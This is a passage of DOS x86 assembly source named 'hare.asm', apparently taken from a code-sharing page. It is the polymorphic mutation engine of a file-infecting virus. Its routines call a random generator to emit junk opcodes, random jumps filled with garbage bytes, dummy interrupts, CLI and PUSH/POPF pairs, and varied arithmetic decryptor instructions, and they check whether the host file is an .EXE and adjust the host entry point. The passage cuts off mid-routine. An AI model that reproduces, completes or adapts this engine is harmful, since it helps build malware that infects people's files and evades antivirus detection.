📄 hare.asm
字号:
DEC Byte_Pages
LOC_97:
POP BP
POP BX
RETN
SUB_25:
PUSH CX
XOR CX, CX
MOV AL, DATA_92
MOV CL, AL
SHR AL, 2 ; DIV 4.
MOV DATA_92, AL
AND CL, 03h
REP MOVSB
POP CX
RETN
SUB_26:
CALL Get_Random_Poly
CMP BYTE PTR DATA_97,4
JAE LOC_98
XOR AL, AH
JP LOC_98 ; Jump if parity=1
MOVSB
RETN
LOC_98:
MOV BL, DATA_96
MOV BH, 00h
CMP BYTE PTR DATA_97, 06h
JAE LOC_100
CMP BYTE PTR DATA_97, 04h
JAE LOC_99
TEST AL, 00000001b
JNZ LOC_100
LOC_99:
MOV DL, 01h
MOV DH, Uncon_Jumps[BX]
JMP LOC_101
LOC_100:
MOV DL, 0FFh
MOV DH, [BX+DATA_109]
LOC_101:
TEST AL, 00000010b
JNZ LOC_102
MOV AL, 81h
STOSB
MOV AL, DH
STOSB
MOV AL, DL
CBW
STOSW
INC SI
ADD CL, 03h
RETN
LOC_102:
MOV AL, 83h ; ADD
STOSB
MOV AL, DH
STOSB
MOV AL, DL
STOSB
INC SI
ADD CL, 02h
RETN
DB 0C3H
SUB_27:
CALL Get_Random_Poly
XOR AL, AH
JNS LOC_103 ; Jump if not sign
MOVSB
RETN
LOC_103:
MOV BL, DATA_94
MOV BH, 00h
CMP DATA_93, 80h
NOP
JA LOC_105
TEST AL, 00000001b
JNZ LOC_104
MOV DL, 01h
MOV DH, Uncon_Jumps[BX]
JMP LOC_107
LOC_104:
MOV DL, 0FFh
MOV DH, DATA_109[BX]
JMP LOC_107
LOC_105:
TEST AL, 00000001b
JNZ LOC_106
MOV DL, 01h
MOV DH, DATA_109[BX]
JMP LOC_107
LOC_106:
MOV DL, 0FFh
MOV DH, Uncon_Jumps[BX]
LOC_107:
TEST AL, 00000010b
JNZ LOC_108
MOV AL, 81h
STOSB
MOV AL, DH
STOSB
MOV AL, DL
CBW
STOSW
INC SI
ADD CL, 03h
RETN
LOC_108:
MOV AL, 83h ; ADD
STOSB
MOV AL, DH
STOSB
MOV AL, DL
STOSB
INC SI
ADD CL, 02h
RETN
SUB_28:
CMP DATA_93, 128
NOP
JA LOC_RET_112
PUSH DX
MOV DX, OFFSET Buffer
MOV AL, DATA_93
AND AL, 07h
CBW
INC AX
ADD DX,AX
MOV BL,DATA_97
CMP BL, 06h
JE LOC_109
TEST BL, 00000001b
JNZ LOC_109
DEC DX
LOC_109:
MOV AH, AL
XOR BX, BX
MOV BL, DATA_94
MOV AL, 81h
STOSB
TEST AH, 00000001b
JZ LOC_110
MOV AL, Uncon_Jumps[BX] ; Store JMP opcode.
STOSB
MOV AX, DX
NEG AX
STOSW
JMP LOC_111
LOC_110:
MOV AL, DATA_109[BX]
STOSB
MOV AX, DX
STOSW
LOC_111:
ADD CL,4
POP DX
LOC_RET_112:
RETN
Make_Uncon_JMP:
CALL Get_Random_Poly
TEST AL, 00100000b ; 1/8 chance.
JZ LOC_RET_116
TEST AL, 00001000b ; 1/8 chance.
JZ LOC_113
AND AH, 03h ; 0 - 3.
ADD AH, 01h ; Prevent zero JMP.
MOV AL, 0EBh ; JMP SHORT opcode.
STOSW ; Store JMP SHORT.
ADD CL, 02h
MOV AL, AH
JMP LOC_114
LOC_113:
AND AH, 03h ; 0 - 3.
ADD AH, 01h ; 1 - 4.
MOV AL, 0E9h ; Store JMP opcode.
STOSB
MOV AL, AH ; Store dataword.
CBW
STOSW
ADD CL, 3
LOC_114:
MOV BL, AL
LOC_115:
CALL Get_Random_Poly
MOV AH, AL
CMP AH, 2Eh ; CS: override?
JE LOC_115 ; Then get another value.
AND AH, 0F8h
CMP AH, 0B0h ; MOV AL ?
JE LOC_115 ; Then get another value.
STOSB
ADD CL, 01h
SUB BL, 01h ; JMP-Hole filled with
JNZ LOC_115 ; garbage?
LOC_RET_116:
RETN
SUB_30:
TEST Flags, 00010000b
JNZ LOC_119
CALL Get_Random_Poly
TEST AL, 00000100b
JNZ LOC_118
MOVSB
RETN
LOC_118:
AND AH,7
CMP AH, 04h
JE SUB_30
MOV AL, AH
OR AL, 58h
STOSB
MOV AL, 0FFh
OR AH, 0E0h
STOSW
ADD CL, 02h
RETN
LOC_119:
XOR Flags, 10h
MOV AL, 0E9h ; JMP opcode.
STOSB
ADD CL, 2
MOV AL, CL
CBW
ADD AX, 1E7Bh
NEG AX
STOSW
RETN
SUB_31:
PUSH BX
MOV SI, 0E70h
CALL Get_Random_Poly
JNP LOC_120 ; Jump if not parity
MOV DI, OFFSET Used_Mov_Ptr
MOV AX, [DI]
PUSH [DI+2]
PUSH SI
MOVSW
MOVSB
POP SI
MOV [SI], AX
POP AX
MOV [SI+2], AL
LOC_120:
MOV DI, OFFSET Undoc
CALL Get_Random_Poly
CMP AL, 55h
JB LOC_121
CMP AL, 0AAh
JB LOC_122
MOV AX, [SI+3]
STOSW
MOVSW
MOVSB
INC SI
INC SI
MOVSW
MOVSB
MOV BYTE PTR DATA_92, 3Eh
JMP LOC_123
LOC_121:
MOVSW
MOVSB
MOV AX,[SI]
INC SI
INC SI
MOVSW
MOVSB
STOSW
MOV BYTE PTR DATA_92, 2Fh
JMP LOC_123
LOC_122:
MOVSW
MOVSW
MOVSW
MOVSW
MOV BYTE PTR DATA_92, 3Bh
LOC_123:
MOV CX, 09h
REP MOVSB
POP BX
RETN
Make_Clear_Flags:
CALL Get_Random_Poly ; Get random number in AX.
CMP AL, 128 ; 50% chance.
JB LOC_RET_127
TEST AH, 00001000b
JNZ LOC_125
MOV AL, 0FAh ; CLI
Store1:
STOSB
ADD CL, 01h
RETN
LOC_125:
PUSH BX
MOV BX, OFFSET PushPop_Pairs
LOC_126:
ADD AL, 20 ; Must be 20 or above.
JNC LOC_126 ; Overflow?
CBW
AND AL, 0FEh ; Number must be even.
ADD BX, AX
MOV AH, [BX] ; Get PUSH reg.
POP BX
MOV AL, 9Dh ; POPF
CMP Host_Type, 01h ; Host is .EXE ?
JE Store1
STOSW
ADD CL, 02h
LOC_RET_127:
RETN
LOC_128:
XOR Flags, 8
RETN
SUB_33:
TEST Flags, 00001000b
JNZ LOC_128
PUSH BX
LOC_129:
CALL Get_Random_Poly
TEST AH, 00000001b
JZ LOC_131
AND AX, 07h
MOV BX, AX
CMP BL, 04h
JNE LOC_130
CMP BYTE PTR DATA_81, 0B0h
JE LOC_129
CMP BYTE PTR DATA_96, 00h
JE LOC_129
LOC_130:
MOV AL, DATA_100[BX]
STOSB
INC CL
POP BX
RETN
LOC_131:
CMP BYTE PTR DATA_96, 0
JE LOC_129
CMP BYTE PTR DATA_95, 0
JE LOC_129
LOC_132:
CALL Get_Random_Poly
AND AX,7
CMP AL,5
JA LOC_132
SHL AL, 1 ; MUL 2.
MOV BX, AX
MOV AX, DATA_101[BX]
STOSW
CMP BL,6
JA LOC_133
CALL Get_Random_Poly
AND AL, 0Fh
STOSB
ADD CL, 1
CMP BL, 6
JNE LOC_133
MOV AL, AH
STOSB
ADD CL, 1
LOC_133:
ADD CL, 2
POP BX
RETN
SUB_34:
CALL Get_Random_Poly
CMP AX, 5555h
JB LOC_RET_136
OR Flags, 00001000b
CALL Make_Dummy_Int
CALL Get_Random_Poly
XCHG BX, AX
AND BX, 02h
MOV AX, DATA_98[BX]
STOSW
MOV DX, Host_Entrypoint
ADD DX, OFFSET Buffer
ADD DX, CX
ADD CL, 02h
TEST AL, 00001000b
JNZ LOC_134
MOV AL, 81h ; Arithmic
STOSB
ADD CL, 7
CALL SUB_35
MOV AL, 0FAh
STOSB
XCHG DX, AX
STOSW
RETN
LOC_134:
MOV AL, 80h
STOSB
ADD CL,6
CALL SUB_35
CMP AH, 80h
JA LOC_135
MOV AL, 0FBh
STOSB
MOV AL, DH
STOSB
RETN
LOC_135:
MOV AL, 0FAh
STOSB
XCHG DX, AX
STOSB
LOC_RET_136:
RETN
SUB_35:
LOC_137:
CALL Get_Random_Poly
MOV BL, AL
AND BX, 07h
CMP BL, 04h
JA LOC_137
MOV AL, DATA_99[BX]
STOSB
CMP BL, 03h
JE LOC_139
CMP BL, 04h
JNE LOC_RET_140
TEST BYTE PTR [DI-2], 00000001b
JNZ LOC_138
NEG DH
NEG DL
RETN
LOC_138:
NEG DX
RETN
LOC_139:
NOT DX
LOC_RET_140:
RETN
SUB_36:
TEST Flags, 00001000b
JZ LOC_RET_141
CALL Get_Random_Poly
AND AH, 7Fh
ADD AH, 0Ah
MOV AL, 75h
STOSW
LOC_RET_141:
RETN
Make_Dummy_Int:
ADD CL, 02h
MOV BL, 2Ah
CALL Get_Random_Poly
LOC_142:
ADD AL, BL
JNC LOC_142
AND AX, 0000000011111110b
XCHG BX, AX
MOV AX, OFFSET Int_Table[BX]
STOSW
RETN
SUB_38:
PUSH AX
CMP DATA_77,0
MOV CX,200H
JNZ LOC_143
MOV CX,DX
LOC_143:
MOV DX, OFFSET Undoc
MOV DI, DX
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -